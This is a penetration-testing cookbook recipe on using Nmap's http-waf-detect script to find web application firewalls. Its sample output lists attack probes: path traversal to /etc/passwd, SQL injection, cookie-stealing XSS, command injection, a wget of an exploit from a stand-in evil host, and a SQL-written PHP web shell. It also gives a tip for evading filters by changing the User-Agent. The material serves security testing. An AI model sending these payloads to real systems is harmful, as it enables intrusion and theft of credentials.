Web servers are often protected by packet filtering systems that drop or redirect suspected malicious packets. Web penetration testers benefit from knowing that there is a traffic filtering system between them and the target application. If that is the case, they can try more rare or stealthy techniques to try to bypass the Web Application Firewall (WAF) or Intrusion Prevention System (IPS). It also helps them to determine if a vulnerability is actually exploitable in the current environment.
This recipe demonstrates how to use Nmap to detect packet filtering systems such as a Web Application Firewall or an Intrusion Prevention System.
To detect a Web Application Firewall or Intrusion Prevention System:
$ nmap -p80 --script http-waf-detect <target>
The script http-waf-detect
will let you know if a packet filtering system was detected:
PORT STATE SERVICE 80/tcp open http |_http-waf-detect: IDS/IPS/WAF detected
The argument -p80 --script http-waf-detect
initiates the NSE script http-waf-detect
if a web server is found running on port 80. I developed http-waf-detect
to determine if HTTP requests with malicious payloads were being filtered by web application firewalls (WAFs) or intrusion prevention systems (IPSs).
The script works by saving the status code, and optionally the page body, of a safe HTTP GET
request and comparing it with requests containing attack payloads for the most common web application vulnerabilities. Because each malicious payload is stored in an odd variable name, it is really unlikely that it is used by the web application, and only packet filtering systems would react and alter any of the returned status codes, to maybe receive an HTTP status code 403 (Forbidden) or the page content.
To detect changes in the response body, use the argument http-waf-detect.detectBodyChanges
. I recommend that you enable it when dealing with pages with little dynamic content:
$ nmap -p80 --script http-waf-detect --script-args="http-waf-detect.detectBodyChanges" <target>
To include more attack payloads, use the script argument http-waf-detect.aggro
. This mode generates more HTTP requests but can also trigger more products:
$ nmap -p80 --script http-waf-detect --script-args="http-waf-detect.aggro" <target> Initiating NSE at 23:03 NSE: http-waf-detect: Requesting URI /abc.php NSE: Final http cache size (1160 bytes) of max size of 1000000 NSE: Probing with payload:?p4yl04d=../../../../../../../../../../../../../../../../../etc/passwd NSE: Probing with payload:?p4yl04d2=1%20UNION%20ALL%20SELECT%201,2,3,table_name%20FROM%20information_schema.tables NSE: Probing with payload:?p4yl04d3=<script>alert(document.cookie)</script> NSE: Probing with payload:?p4yl04d=cat%20/etc/shadow NSE: Probing with payload:?p4yl04d=id;uname%20-a NSE: Probing with payload:?p4yl04d=<?php%20phpinfo();%20?> NSE: Probing with payload:?p4yl04d='%20OR%20'A'='A NSE: Probing with payload:?p4yl04d=http://google.com NSE: Probing with payload:?p4yl04d=http://evilsite.com/evilfile.php NSE: Probing with payload:?p4yl04d=cat%20/etc/passwd NSE: Probing with payload:?p4yl04d=ping%20google.com NSE: Probing with payload:?p4yl04d=hostname%00 NSE: Probing with payload:?p4yl04d=<img%20src='x'%20onerror=alert(document.cookie)%20/> NSE: Probing with payload:?p4yl04d=wget%20http://ev1l.com/xpl01t.txt NSE: Probing with payload:?p4yl04d=UNION%20SELECT%20'<?%20system($_GET['command']);%20?>',2,3%20INTO%20OUTFILE%20'/var/www/w3bsh3ll.php'--
To set a different URI for the probes, set the argument http-waf-detect.uri
:
$ nmap -p80 --script http-waf-detect --script-args http-waf-detect.uri=/webapp/ <target>
There are some packet filtering products that block requests made using Nmap's default HTTP User Agent. You can use a different User Agent value by setting the argument http.useragent
:
$ nmap -p80 --script http-waf-detect --script-args http.useragent="Mozilla 42" <target>
Some web servers allow the encapsulation of more than one HTTP request in a single packet. This may speed up the execution of an NSE HTTP script, and it is recommended that it is used if the web server supports it. The HTTP library, by default, tries to pipeline 40 requests and automatically adjusts that number according to the traffic conditions, based on the Keep-Alive
header.
$ nmap -p80 --script http-methods --script-args http.pipeline=25 <target>
Additionally, you can use the argument http.max-pipeline
to set the maximum number of HTTP requests to be added to the pipeline. If the script parameter http.pipeline
is set, this argument will be ignored:
$.nmap -p80 --script http-methods --script-args http.max-pipeline=10 <target>
3.146.221.149